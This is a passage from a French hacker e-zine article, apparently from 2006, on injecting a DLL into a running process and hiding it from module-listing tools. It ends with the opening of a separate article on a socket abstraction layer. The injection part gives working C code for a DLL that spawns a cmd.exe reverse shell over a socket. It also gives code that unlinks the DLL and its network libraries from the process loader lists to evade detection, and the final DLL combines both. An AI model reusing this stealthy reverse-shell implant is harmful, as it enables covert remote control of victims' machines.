if(_stricmp(pe32.szExeFile,ProcessName)==0)
{
CloseHandle(hProcessSnap);
return pe32.th32ProcessID;
}
}
CloseHandle(hProcessSnap);
return 0;
}
c:\>inject_dll notepad.exe c:\dll_injected.dll
[*]Ownage du processus: notepad.exe
[*]Handle: 0x3d4
[*]CodeSize: 20
[*]Emplacement memoire: 0x720000
[*]Target injected
Ha vi truc bête que j'ai laissé par flemmardise, le codesize est en fait la
taille de la string du path de la dll, pareil l'emplacement mémoire correspond
a l'endroit ou est balancé la string en mem :)
Cette méthode revient a faire chargé dynamiquement une DLL par un process,
alors maintenant intéressons-nous a cette DLL.
--------[2.Fuck me i'm a DLL
Voici le main d'une DLL:
BOOL APIENTRY DllMain (HINSTANCE hInstance, DWORD dwReason, LPVOIDlpReserved);
hInstance étant le Handle de notre DLL (l'endroit ou elle est en mémoire),
dwReason elle la cause de l'appel de la fct main et l'autre est la pour
décorer. Nous on s'intéresse uniquement aux causes de l'appel de la fct main()
winNT.h
#define DLL_PROCESS_ATTACH 1
#define DLL_THREAD_ATTACH 2
#define DLL_THREAD_DETACH 3
#define DLL_PROCESS_DETACH 0
On veut que notre code soit exécuté lorsque que la DLL est chargée
dans le process on met alors:
if(dwReason!=DLL_PROCESS_ATTACH)
return TRUE;
Le TRUE est important, car FALSE indique que le chargement a foiré. Voici sans
attendre le code d'une DLL qui va lancer un reverse shell sur l'ip 127.0.1 et
sur le port 8080:
#include <winsock2.h>
BOOL APIENTRY DllMain (HINSTANCE hInstance, DWORD dwReason, LPVOID
lpReserved)
{
// On ne traite pas les raisons autres que l'initialisation de la DLL
if(dwReason!=DLL_PROCESS_ATTACH)
return TRUE;
WSADATA wd;
SOCKET sock;
STARTUPINFO si;
PROCESS_INFORMATION pi;
struct sockaddr_in sin;
int size = sizeof(sin);
memset(&sin, 0, sizeof(sin));
memset(&si, 0, sizeof(si));
WSAStartup(MAKEWORD(2,0), &wd);
sock=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
sin.sin_family = AF_INET;
sin.sin_port = htons(8080);
sin.sin_addr.s_addr = inet_addr("127.0.0.1");
bind(sock, (struct sockaddr *)&sin, size);
connect(sock, (struct sockaddr *)&sin, size);
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (void *)sock;
CreateProcess(
NULL,
"cmd.exe",
NULL,
NULL,
true,
IDLE_PRIORITY_CLASS|CREATE_NO_WINDOW,
NULL,
NULL,
&si,
&pi
);
return 0;
}
Ha p-e qu'une explication serait bienvenue pour ces deux lignes:
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (void *)sock;
'si' est une structure de type STARTUPINFO:
typedef struct _STARTUPINFO {
DWORD cb;
LPTSTR lpReserved;
LPTSTR lpDesktop;
LPTSTR lpTitle;
DWORD dwX;
DWORD dwY;
DWORD dwXSize;
DWORD dwYSize;
DWORD
dwXCountChars;
DWORD dwYCountChars;
DWORD dwFillAttribute;
DWORD dwFlags;
WORD wShowWindow;
WORD cbReserved2;
LPBYTE lpReserved2;
HANDLE hStdInput;
HANDLE hStdOutput;
HANDLE hStdError;
} STARTUPINFO, *LPSTARTUPINFO;
En fait en faisant
si.hStdInput = si.hStdOutput = si.hStdError = (void *)sock;
On dit que l'entrée/sortie du processus crée sera redirigée vers le socket et
donc qu'on pourra dialoguer avec le process à travers le socket. De plus, il faut
utiliser WSASocket() à la place de socket() car avec ce dernier le socket aura
l'attribut overlapped (asynchrone), petite explication :] Imaginez que vous
ayez besoin d'écrire un file sur le disque et que cette opération est déjà
réalisée par un autre process, hum soit vous attendez comme un con que l'autre
finisse et donc vous perdez du tps et de la fluidité, soit vous mettez vos
fonctions d'I/O en overlapped et la le code continuera d'être exécuter même si
le fichier n'a pas été écrit tandis que ce qui doit être écrit le sera lorsque
la ressource sera libre. Dans notre cas il vaut mieux éviter d'utiliser cet
attribut et de rester synchrone avec l'I/O du process pipé.
NB: de toute facon ca marche pas autrement :}
--------[3.Les Experts en UserLand
Hum et now ? On a injecté une DLL dans un process et un jour on lance un tool
comme PEID ou LORDPE et on voit que le process a des DLL bizarres avec lui,
genre le notepad qui tourne avec ws2_32.dll ....
Après désassemblage de ces exécutables on voit qu'ils utilisent les fonctions de
la DLL psapi.dll et plus précisément la fonction EnumProcessModules() la voici:
BOOL EnumProcessModules(
HANDLE hProcess,
HMODULE* lphModule,
DWORD cb,
LPDWORD lpcbNeeded
);
hProcess est un handle sur le process obtenu avec l'api OpenProcess()
lphModule est un tableau de DWORD qui va contenir les handles pour chaque
module.
cb est la taille du tableau en bytes.
lpcbNeeded contient le nombre de bytes nécessaire pour contenir tout les
handles, comme le tableau est alloué avant l'appel de la fonction et qu'on ne
connait pas le nombre de modules du process si jamais celui est plus grand que
la taille de notre tableau il faudra l'agrandir :) donc autant voir grand dès le
départ et mettre un tableau de 128 DWORD. (ouais je sais j'aurais pu l'allouer
dynamiquement, mais j'avais la flemme....)
Allay tout de suite le code qui fait tout ca:
#include <windows.h>
#include <tlhelp32.h>
#include <psapi.h>
#include <stdio.h>
#pragma comment(lib,"Psapi.lib");
int NameToPid(char *ProcessName)
{
HANDLE hProcessSnap;
PROCESSENTRY32 pe32;
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(hProcessSnap == INVALID_HANDLE_VALUE)
{
printf("Error with CreateToolhelp32Snapshot: 0x%x\n",GetLastError() );
}
pe32.dwSize = sizeof(PROCESSENTRY32);
if( !Process32First( hProcessSnap, &pe32 ) )
{
printf("Error with Process32First: %d\n",GetLastError());
CloseHandle(hProcessSnap);
}
while(Process32Next(hProcessSnap,&pe32)!=0)
{
if(_stricmp(pe32.szExeFile,ProcessName)==0)
{
CloseHandle(hProcessSnap);
return pe32.th32ProcessID;
}
}
CloseHandle(hProcessSnap);
return 0;
}
int main(int argc, char *argv[])
{
HANDLE hProcess;
HMODULE hModule[128];
ULONG BytesNeeded;
char ModuleName[MAX_PATH];
MODULEINFO ModuleInfo;
if(argc!=2)
{
printf("Usage is: psapi <Process name>\n");
return 0;
}
hProcess=OpenProcess(PROCESS_ALL_ACCESS,false,NameToPid(argv[1]));
if(hProcess==NULL)
return 0;
if(EnumProcessModules(hProcess,hModule,sizeof(hModule),&BytesNeeded)==0)
{
CloseHandle(hProcess);
return 0;
}
printf("Number of modules: %d\n",BytesNeeded/sizeof(ULONG));
for(int i=0;i < BytesNeeded/sizeof(ULONG);i++)
{
GetModuleBaseName(hProcess,hModule[i],ModuleName,sizeof(ModuleName));
printf("Module Name: %s\n",ModuleName);
}
return 0;
}
Voici ce que ça donne avec le notepad:
C:\ProgHack\c>psapi notepad.exe
Number of modules: 14
Module Name: notepad.exe
Module Name: ntdll.dll
Module Name: comdlg32.dll
Module Name: SHLWAPI.DLL
Module Name: ADVAPI32.dll
Module Name: KERNEL32.dll
Module Name: RPCRT4.dll
Module Name: GDI32.dll
Module Name: USER32.dll
Module Name: msvcrt.dll
Module Name: COMCTL32.DLL
Module Name: SHELL32.DLL
Module Name: WINSPOOL.DRV
Module Name: MPR.DLL
Et voici toujours le notepad mais avec notre DLL injectée:
C:\ProgHack\c>psapi notepad.exe
Number of modules: 19
Module Name: notepad.exe
Module Name: ntdll.dll
Module Name: comdlg32.dll
Module Name: SHLWAPI.DLL
Module Name: ADVAPI32.dll
Module Name: KERNEL32.dll
Module Name: RPCRT4.dll
Module Name: GDI32.dll
Module Name: USER32.dll
Module Name: msvcrt.dll
Module Name: COMCTL32.DLL
Module Name: SHELL32.DLL
Module Name: WINSPOOL.DRV
Module Name: MPR.DLL
Module Name: dll_injected.dll
Module Name: WS2_32.dll
Module Name: WS2HELP.DLL
Module Name: msafd.dll
Module Name: wshtcpip.dll
Whaou, 5 modules en plus c'est pas super discret tout ca, surtout quand on voit
que le notepad commence a utiliser la DLL ws2_32.dll on est droit de se poser
des questions :]
--------[4.\x55\x8B\xEC
Bon, alors maintenant on s'arrête 2 sec et on, du moins faisons semblant, essaye
de réfléchir. Il est clair que le processus qui va voir à quoi ressemblent les
DLL dans un autre process n'a pas fait cela en ring 3 car je le rappel chaque
process a SON PROPRE ET UNIQUE espace mémoire et ne peut accéder a celui de ses
voisins. Il y a donc forcément de l'api native là-dessous qui permet le passage
du UserLand au KernelLand, voici ce qu'on obtient en désassemblant une partie de
la fonction EnumProcessModules de la DLL psapi.dll:
68EA19AE . 53 ; /pReqsize => NULL
68EA19AF . 6A 18 ; |Bufsize = 18 (24.)
68EA19B1 . 8D45 C0 ; |
68EA19B4 . 50 ; |Buffer
68EA19B5 . 53 ; |InfoClass => 0
68EA19B6 . FF75 08 ; |hProcess
68EA19B9 . FF15 3810EA68 ; \ZwQueryInformationProcess
68EA19BF . 3BC3
68EA19C1 . 7D 15
68EA19C3 . 50 ; /Arg1
68EA19C4 . FF15 4410EA68 ; \RtlNtStatusToDosError
68EA19CA . 50 ; /Error
68EA19CB . FF15 A010EA68 ; \SetLastError
68EA19D1 > 33C0
68EA19D3 . E9 C2000000
68EA19D8 > 53 ; /pBytesRead
68EA19D9 . 6A 04 ; |BytesToRead = 4
68EA19DB . 8D45 B8 ; |
68EA19DE . 50 ; |Buffer
68EA19DF . 8B45 C4 ; |
68EA19E2 . 83C0 0C ; |
68EA19E5 . 50 ; |pBaseAddress
68EA19E6 . FF75 08 ; |hProcess
68EA19E9 . 8B3D AC10EA68 ; |KERNEL32.ReadProcessMemory
68EA19EF . FFD7 ; \ReadProcessMemory
68EA19F1 . 85C0
68EA19F3 .^ 74 DC
68EA19F5 . 8B45 B8
68EA19F8 . 83C0 14
68EA19FB . 8945 B4
68EA19FE . 53 ; /pBytesRead
68EA19FF . 6A 04 ; |BytesToRead = 4
68EA1A01 . 8D4D DC ; |
68EA1A04 . 51 ; |Buffer
68EA1A05 . 50 ; |pBaseAddress
68EA1A06 . FF75 08 ; |hProcess
68EA1A09 . FFD7 ; \ReadProcessMemory
68EA1A0B . 85C0
En traçant cette fonction on s'aperçoit que la fonction native
NtQueryInformationProcess() réalise le passage en ring0 et sert a obtenir l'addr
du PEB dans le process distant.
kd> dt !_PEB
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged : UChar
+0x003 SpareBool : UChar
+0x004 Mutant : Ptr32 Void
+0x008 ImageBaseAddress : Ptr32 Void
+0x00c Ldr : Ptr32 _PEB_LDR_DATA
[...]
puis on se déplace de 0xC dans la structure avec ce code:
68EA19DF . 8B45 C4 MOV EAX,DWORD PTR SS:[EBP-3C] ; |PEB
68EA19E2 . 83C0 0C ADD EAX,0C ; |PEB+0xC
68EA19E5 . 50 PUSH EAX ; |pBaseAddress
Après le ReadProcessMemory() nous permet d'obtenir un pointeur sur une structure
_PEB_LDR_DATA (tout cela on le recup dans un autre process n'oubliez pas)
kd> dt !_PEB_LDR_DATA
+0x000 Length : Uint4B
+0x004 Initialized : UChar
+0x008 SsHandle : Ptr32 Void
+0x00c InLoadOrderModuleList : _LIST_ENTRY
+0x014 InMemoryOrderModuleList : _LIST_ENTRY
+0x01c InInitializationOrderModuleList : _LIST_ENTRY
Puis on se déplace de 0x14 dans celle ci avec ce chtit code:
68EA19F5 . 8B45 B8 MOV EAX,DWORD PTR SS:[EBP-48] ; |_PEB_LDR_DATA
68EA19F8 . 83C0 14 ADD EAX,14
On a donc un pointeur sur une double liste chaînée (LIST_ENTRY) et plus
précisément sur le membre suivant de cette liste (Flink).
InMemoryOrderModuleList, contient des structures de type LDR_DATA_TABLE_ENTRY
que voici:
kd> dt nt!_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY
+0x008 InMemoryOrderLinks : _LIST_ENTRY
+0x010 InInitializationOrderLinks : _LIST_ENTRY
+0x018 DllBase : Ptr32 Void
+0x01c EntryPoint : Ptr32 Void
+0x020 SizeOfImage : Uint4B
+0x024 FullDllName : _UNICODE_STRING
+0x02c BaseDllName : _UNICODE_STRING
+0x034 Flags : Uint4B
+0x038 LoadCount : Uint2B
+0x03a TlsIndex : Uint2B
+0x03c HashLinks : _LIST_ENTRY
+0x03c SectionPointer : Ptr32 Void
+0x040 CheckSum : Uint4B
+0x044 TimeDateStamp : Uint4B
+0x044 LoadedImports : Ptr32 Void
Donc le programme va parcourir cette liste chainée pour y trouver les
informations en mémoire à propos des modules.
--------[5.La disparition des modules en UserLand
Voila qui devient intéressant et c'est (en partie) pour vous montrez cela que
j'ai écrit cet article, il suffit donc de modifier cette double liste afin que
notre module passer inaperçu, ho yeah, soirée mousse !!!!
Notre DLL va donc se composer d'un nouveau morceau de code qui permettra de la
rentre "furtive" et tout cas a tout les programmes qui utilisent
EnumProcessModules, déja PEID et LordPe (ce n'est qu'un début).
+----------+ +----------+ +----------+
| Module 1 | | Module 2 | | Module 3 |
| Flink |<-+---->| Flink |<-+--->| Flink |---->
<---| Blink | |-----| Blink | |----| Blink |
+----------+ +----------+ +----------+
(le Blink ne pointe pas sur le précédent Blink mais bien sur le précédent Flink)
Voici ce que l'on veut obtenir:
+------------------+
| |
+----------+ | +----------+ | +----------+
| Module 1 | | | Module 2 | | | Module 3 |
| Flink |<-+--+ | Flink |<---+->| Flink |---->
<---| Blink | |-----| Blink | +---| Blink |
+----------+ | +----------+ | +----------+
| |
+--------------------+
(Vous trouvez ces schémas pourris? Envoyer un mail à Ivanlef0u119@yahoo.fr pour
tout reproches, insultes, whines)
Allay tout de suite le code qui réalise cela:
int DLLHiding(LPSTR ModuleToHide)
{
PPEB_LDR_DATA PLDR_DATA;
_asm{
mov eax,fs:[30h] //Sur le PEB
mov eax,[eax+0Ch] //PEB->LoaderData
mov PLDR_DATA,eax
}
char ModuleName[MAX_PATH]="";
PLDR_MODULE PModule;
PModule=(PLDR_MODULE)PLDR_DATA->InMemoryOrderModuleList.Flink;
PModule=(PLDR_MODULE)((PBYTE)PModule-0x8);
do{
PModule=(PLDR_MODULE)PModule->InMemoryOrderModuleList.Flink;
PModule=(PLDR_MODULE)((PBYTE)PModule-0x8);
SecureZeroMemory(ModuleName,MAX_PATH);
WideCharToMultiByte(CP_ACP, 0,PModule->FullDllName.Buffer,-1,ModuleName\
, MAX_PATH-1, NULL, NULL);
}while(!strstr(ModuleName,ModuleToHide));
//Now on cache notre module
PModule->InMemoryOrderModuleList.Blink->Flink=PModule->InMemoryOrderModuleLi
st.Flink;
PModule->InMemoryOrderModuleList.Flink->Blink=PModule->InMemoryOrderModuleLi
st.Blink;
return 1;
}
Ce code n'est pas trop compliqué dans ce qu'il fait (ou pas)
Il va sur PEB du process puis dans la structure LoaderData et parcourt avec la
boucle do{}while(); la liste InMemoryOrderModuleList. Il récupère le nom du
module et le compare avec le nôtre, si c'est bon on arrête et on cache notre
module avec ces lignes étranges et venues d'ailleurs:
PModule->InMemoryOrderModuleList.Blink->Flink=PModule-
>InMemoryOrderModuleList.Flink;
Cela signifie que l'on définit le Flink de la structure précédente à la valeur
du Flink actuel c'est-à-dire sur la structure suivante (gruuut ?).
PModule->InMemoryOrderModuleList.Flink->Blink=PModule-
>InMemoryOrderModuleList.Blink;
Pareil on définit le Blink de la structure suivante à la valeur de notre Blink,
donc sur l'entrée précédente.
Ha aussi le rôle de cette ligne
PModule=(PLDR_MODULE)((PBYTE)PModule-0x8);
En fait comme un membre de la liste pointe tjrs sur un autre membre on arrive
non pas a début de la structure, mais sur la struct InMemoryOrderModuleList donc
pour pointer sur le début de la struct LDR_MODULE on soustrait 8 au pointeur
courant.
kd> dt nt!_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY
+0x008 InMemoryOrderLinks : _LIST_ENTRY //<- on arrive ici
+0x010 InInitializationOrderLinks : _LIST_ENTRY
[...]
Et maintenant le grand moment on teste tout cela, voici les results avec tjrs
notre ami le notepad:
C:\ProgHack\c>psapi notepad.exe
Number of modules: 18
Module Name: notepad.exe
Module Name: ntdll.dll
Module Name: comdlg32.dll
Module Name: SHLWAPI.DLL
Module Name: ADVAPI32.dll
Module Name: KERNEL32.dll
Module Name: RPCRT4.dll
Module Name: GDI32.dll
Module Name: USER32.dll
Module Name: msvcrt.dll
Module Name: COMCTL32.DLL
Module Name: SHELL32.DLL
Module Name: WINSPOOL.DRV
Module Name: MPR.DLL
Module Name: WS2_32.dll
Module Name: WS2HELP.DLL
Module Name: msafd.dll
Module Name: wshtcpip.dll
Heyhey! 18 modules on a réussi à cacher notre DLL :]
Pour le reste, il suffit de procéder de la même façon a appelant la fct avec un
comme argument un nom de module a caché et c'est tout bon :}
-------[6.Bonus Track
Hum pourquoi un bonus track ? Parce que j'aime aller au fond de choses (ho
yeah) et que je vous est menti en disant la DLL était complètement invisible, il
existe encore une Api qui permet de voir cette foutue DLL, c'est en utilisant
CreateToolHelp32Snapshot() avec l'option TH32CS_SNAPMODULE que j'ai remarqué
cela, voici le bout de code qui ma enculée....
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
int NameToPid(char *ProcessName)
{
HANDLE hProcessSnap;
PROCESSENTRY32 pe32;
hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(hProcessSnap==INVALID_HANDLE_VALUE)
{
printf("Error with CreateToolhelp32Snapshot: 0x%x\n",GetLastError());
}
pe32.dwSize=sizeof(PROCESSENTRY32);
if(!Process32First(hProcessSnap,&pe32))
{
printf("Error with Process32First: %d\n",GetLastError());
CloseHandle(hProcessSnap);
}
while(Process32Next(hProcessSnap,&pe32)!=0)
{
if(_stricmp(pe32.szExeFile,ProcessName)==0)
{
CloseHandle(hProcessSnap);
return pe32.th32ProcessID;
}
}
CloseHandle(hProcessSnap);
return 0;
}
int main(int argc,char *argv[])
{
if (argc!=2)
{
printf("Usage is: createtoolhelp32snapshot <Process name>");
return 0;
}
HANDLE hModuleSnap=NULL;
MODULEENTRY32 me32={0};
hModuleSnap=CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, NameToPid(argv[1]));
if (hModuleSnap==INVALID_HANDLE_VALUE)
return (FALSE);
me32.dwSize = sizeof(MODULEENTRY32);
if(Module32First(hModuleSnap,&me32))
do{
printf("Module: %s\n",me32.szModule);
}while(Module32Next(hModuleSnap,&me32));
CloseHandle (hModuleSnap);
}
Voici ce que ça ressort:
C:\ProgHack\c>createtoolhelp32snapshot notepad.exe
Module Name: notepad.exe
Module Name: ntdll.dll
Module Name: comdlg32.dll
Module Name: SHLWAPI.DLL
Module Name: ADVAPI32.dll
Module Name: KERNEL32.dll
Module Name: RPCRT4.dll
Module Name: GDI32.dll
Module Name: USER32.dll
Module Name: msvcrt.dll
Module Name: COMCTL32.DLL
Module Name: SHELL32.DLL
Module Name: WINSPOOL.DRV
Module Name: MPR.DLL
Module Name: dll_injected.dll
Module Name: WS2_32.dll
Module Name: WS2HELP.DLL
Module Name: msafd.dll
Module Name: wshtcpip.dll
Argh notre dll apparait quand meme !!!
C'est reparti pour reverser l'API CreateToolHelp32SnapShot(), alors après avoir
tracé dans tout les sens je suis arriver dans ntdll, plus précisément dans
LdrQueryProcessModuleInformation (si c'est pas parlant ça...) et je vois cette
ligne :
7846DE3F |> \8B47 0C MOV EAX,DWORD PTR DS:[EDI+C]
avec EDI qui pointe sur une structure _PEB_LDR_DATA, haha le voilà notre prob,
souvenez vous précédemment nous modifions la la double liste
InMemoryOrderModuleList qui est 0x14 dans _PEB_LDR_DATA et ici le code utilise
la liste InLoadOrderModuleList que nous ne modifions pas donc la DLL est
toujours "visible". Il ne reste plus qu'a c/c notre code précédent en
modifiant 2,3 trucs et c'est tout bon, allée le code entier de la DLL qui met en
oeuvre tout ça avec en comment le code pour la dernière liste
(InInitializationOrderLinks):
#include <winsock2.h>
#include <Ntsecapi.h>
#include <shlwapi.h>
#pragma comment (lib,"shlwapi.lib")
#define DLLName "dll_injected.dll"
typedef struct _PEB_LDR_DATA
{
ULONG Length;
BOOLEAN Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
typedef struct _LDR_MODULE {
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID BaseAddress;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_MODULE, *PLDR_MODULE;
int DLLHiding(LPSTR ModuleToHide)
{
PPEB_LDR_DATA PLDR_DATA;
_asm{
mov eax,fs:[30h] //Sur le PEB
mov eax,[eax+0Ch] //PEB->LoaderData
mov PLDR_DATA,eax
}
char ModuleName[MAX_PATH]="";
PLDR_MODULE PModule;
/*
PModule=(PLDR_MODULE)PLDR_DATA->InInitializationOrderModuleList.Flink;
PModule=(PLDR_MODULE)((PBYTE)PModule-0x10);
do
{
PModule=(PLDR_MODULE)PModule->InInitializationOrderModuleList.Flink;
PModule=(PLDR_MODULE)((PBYTE)PModule-0x10);
memset(ModuleName,0,sizeof(ModuleName));
WideCharToMultiByte(CP_ACP, 0,PModule->FullDllName.Buffer,-1\
,ModuleName,MAX_PATH-1, NULL, NULL);
}while(!StrStrI(ModuleName,ModuleToHide));
//Now on cache notre module
PModule->InInitializationOrderModuleList.Blink->Flink=PModule
->InInitializationOrderModuleList.Flink;
PModule->InInitializationOrderModuleList.Flink->Blink=PModule
->InInitializationOrderModuleList.Blink;
memset(ModuleName,0,sizeof(ModuleName));
*/
/*******************************/
memset(ModuleName,0,sizeof(ModuleName));
PModule=(PLDR_MODULE)PLDR_DATA->InMemoryOrderModuleList.Flink;
PModule=(PLDR_MODULE)((PBYTE)PModule-0x8);
do{
PModule=(PLDR_MODULE)PModule->InMemoryOrderModuleList.Flink;
PModule=(PLDR_MODULE)((PBYTE)PModule-0x8);
SecureZeroMemory(ModuleName,MAX_PATH);
WideCharToMultiByte(CP_ACP, 0,PModule->FullDllName.Buffer,-1\
,ModuleName,MAX_PATH-1, NULL, NULL);
}while(!StrStrI(ModuleName,ModuleToHide));
//Now on cache notre module
PModule->InMemoryOrderModuleList.Blink->Flink=PModule
->InMemoryOrderModuleList.Flink;
PModule->InMemoryOrderModuleList.Flink->Blink=PModule
->InMemoryOrderModuleList.Blink;
memset(ModuleName,0,sizeof(ModuleName));
/*******************************/
PModule=(PLDR_MODULE)PLDR_DATA->InLoadOrderModuleList.Flink;
PModule=(PLDR_MODULE)((PBYTE)PModule-0x0);
do{
PModule=(PLDR_MODULE)PModule->InLoadOrderModuleList.Flink;
PModule=(PLDR_MODULE)((PBYTE)PModule-0x0);
memset(ModuleName,0,sizeof(ModuleName));
WideCharToMultiByte(CP_ACP, 0,PModule->FullDllName.Buffer,-1\
ModuleName ,MAX_PATH-1, NULL, NULL);
}while(!StrStrI(ModuleName,ModuleToHide));
//Now on cache notre module
PModule->InLoadOrderModuleList.Blink->Flink=PModule
->InLoadOrderModuleList.Flink;
PModule->InLoadOrderModuleList.Flink->Blink=PModule
->InLoadOrderModuleList.Blink;
return true;
}
BOOL APIENTRY DllMain (HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
// On ne traite pas les raisons autres que l'initialisation de la DLL
if(dwReason!=DLL_PROCESS_ATTACH)
return TRUE;
WSADATA wd;
SOCKET sock;
STARTUPINFO si;
PROCESS_INFORMATION pi;
struct sockaddr_in sin;
int size = sizeof(sin);
memset(&sin, 0, sizeof(sin));
memset(&si, 0, sizeof(si));
WSAStartup(MAKEWORD(2,0), &wd);
sock=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
sin.sin_family = AF_INET;
sin.sin_port = htons(8080);
sin.sin_addr.s_addr = inet_addr("127.0.0.1");
bind(sock, (struct sockaddr *)&sin, size);
connect(sock, (struct sockaddr *)&sin, size);
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (void *)sock;
CreateProcess(
NULL,
"cmd.exe",
NULL,
NULL,
true,
IDLE_PRIORITY_CLASS|CREATE_NO_WINDOW,
NULL,
NULL,
&si,
&pi
);
//osef de la casse avec les StrStrI
DLLHiding(DLLName);
DLLHiding("ws2_32.dll");
DLLHiding("msafd.dll");
DLLHiding("wshtcpip.dll");
DLLHiding("ws2help.dll");
return true;
}
Ouf ! quelle soirée je crois qu'après toutes ces émotions je vais aller me
coucher moi :).
Évidemment, j'aurais pu vous balancer dans la gueule comme ça le code qui
planquait la DLL directement dans les trois listes chainées, mais je trouve que
de voir le raisonnement qui m'a fait aboutir à ce code est plus instructif. En
fait la seule fois ou j'ai vu cette méthode implémentée c'était dans Phrack (p62
-0x0c) ou Kdm ,un frenchie encore ;), le faisait directement en modifiant les 3
listes, moi j'ai voulu savoir si cela était réellement nécessaire et ça passait
par du reversage d'API win pour finalement voir que face aux 2 API les plus
connus pour voir les modules d'un process modif 2 listes suffisaient. Par contre
je tiens a dire que cette méthode ne peut rien contre un scan de la mémoire la
DLL étant forcément dans celle ci on pourra toujours la détectée.
--------[7.Happy End
Que je suis méchant, je viens de vous faire lire (ou pas) 30 ko sur la manière
de cacher une DLL dans un process, ce n'est p-e pas la chose la plus
intéressante du monde, mais ça peut toujours servir. Ce qui en revanche sert
beaucoup plus c'est de cacher un process (vivi un process vous avez bien lu) et
pas un pauvre code en ring3 qui hook 2 API en bois, nian je parle ici de code
noyau qui réalise du DKOM (Direct Kernel Object Manipulation) une méthode
implémentée par le Rootkit FU et qui permet de rendre quasi-invisible a la
fois en UserLand et au noyau un prog mais ça, ca sera pour le prochain épisode
mes enfants ;).
En attendant votre avis m'intéresse beaucoup sur à la fois le zine et ce que
j'ecris, n'hésitez pas a me contact: ivanlef0u119@yahoo.fr, comme d'hab les src
seront sur mon site ds zines/moi.
Maintenant vous pouvez éteindre votre téléviseur et reprendre une activité
normale, bonsoir !
Ivanlef0u
EMail:ivanlef0u119@yahoo.fr
WebSite: http://membres.lycos.fr/moi118118
--------[ References
phrack 62-0x0c: http://membres.lycos.fr/moi118118/zines/PHRACK.rar
EnumProcessModules:
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dllproc/
base/enumprocessmodules.asp
CreateToolHelp32Snapshot:
http://msdn.microsoft.com/library/default.asp?url=/library/en-
us/dllproc/base/createtoolhelp32snapshot.asp
DLL:
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dllproc/base/dl
lmain.asp
topic
.. ,.-.. ,..,
| | .` `. | |
|''| |`'---'`| |`'-`|
|<<| | _____ | _,,..|[}{]|.,,,
_,|<<|,, | \ D / | ,-`` |[}{]| ``',
.` `..' `. | |A| | |-,, ``--'' _,-'|
| `''--''` | | |T| | | ``'''------''`` |
| [ O3 ] | | |A| | | [ Mindkind ] |
`. ~~ .' | / \ | `-,, ] 1010 [ _,-'
`''--''` _,,,,,,...|| C ||.....,,,,,,_ ``'''------''```
|<<|.-''```` _,,,,,...|[ O ]|...,,,,,,_ ```''-|[}{]|
,``` .,-''``` |[ R ]| ``''-., |[}{]|,
| `. _,,,,...|| E ||...,,,,, '|[}{]| |
|`-,_ `'-.,,_,`********| \ / |********`._,,.-'` |[}{]|'|
| `''-.,,,_ `````'''''---------'''''````` _,,,.-|[}{]| |
|`-,_ `````''''''---------'''''''````` |[}{]|'|
| `''[ ]|[}{]| |
|`-,_ [ NSocket - Socket Layer ]|[}{]|'|
| `''[ ] |[}{]| |
`-,_ [ ] _,,..|[}{]|.,,,
|<;`'-.,,,_ ,-`` |[}{]| ``',
,` ; ```;;;;;;;;---------;;;;;;;;;|-,, ``--'' _,-'|
|`-,_ `'-.,,_,`********|[ !?! ]|********`| ``'''------''`` |
|`-,_`''-.,,,_ `````'''''---------'''''````| ] Ninja [ |
|`-,_`''-.,,, `````''''''---------'''''''```-,, _,-'
`-,_`''-.,,,[ ]``'''------''``
|<`|'-.,,,_[ ]_,,,.-|[}{]|
|<<| `````''''''---------'''''''````` |[}{]|
|<<| |]Aka: [| |[}{]|
|<<| ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__
|<<|,,.--'''````` __| \ D / |....--------------|[}{]|,,,,,,,,_ `````'''--..,,_
_.-'`` ,,.--'````` | |A| | |[}{]| `````''-.,, ``'-.,
; -` | |T| |,.....----------..|[}{]|,,,_ `' ;
|`'-.,, `''-..,,,_.-`| |A| |******************|[}{]|****````-_,,,,,.--'` _,,-'`|
| ```''--..,,,,,_ ```````''''''''--------------''''''''``````` __,,,,..--''``` |
| ````````''''''''''--------------''''''''''```````` |
| |
Ninja
Avril 2006
Résumé
"Ninja Production Present" un autre texte sympa ou batard, selon le
lecteur, pour votre bénéfice personnel ou qui sera le "petit quelque chose"
qui vous manquait pour vous tirez devant un train. Sans plus tarder, comme
vous l'aurez surement remarqué, je vous ai préparé une implémentation,
TRÈS non complète, d'une couche d'abstraction pour les sockets sous windows
ET linux, w00t.
Tables des matières
1. Introduction
2. Pourquoi
3. Portabilité
3.1 Windows vs Linux
3.2 IPv4 vs IPv6
4. Comment
4.1 Fonctions de base
4.2 Autres fonctions
5. Code
6. Conclusion
1. Introduction
La définition simple et rapide d'un socket, selon moi no flame s.v.p., est
la suivante: une extrémité d'une liaison bidirectionnelle entre deux
programmes fonctionnant sur le réseau. Un socket est lié à un port de sorte
que la couche TCP, ou n'importe quelle couche "Transport" du modèle OSI,
puisse identifier à quelle application seront destinées les données reçues.
2. Pourquoi
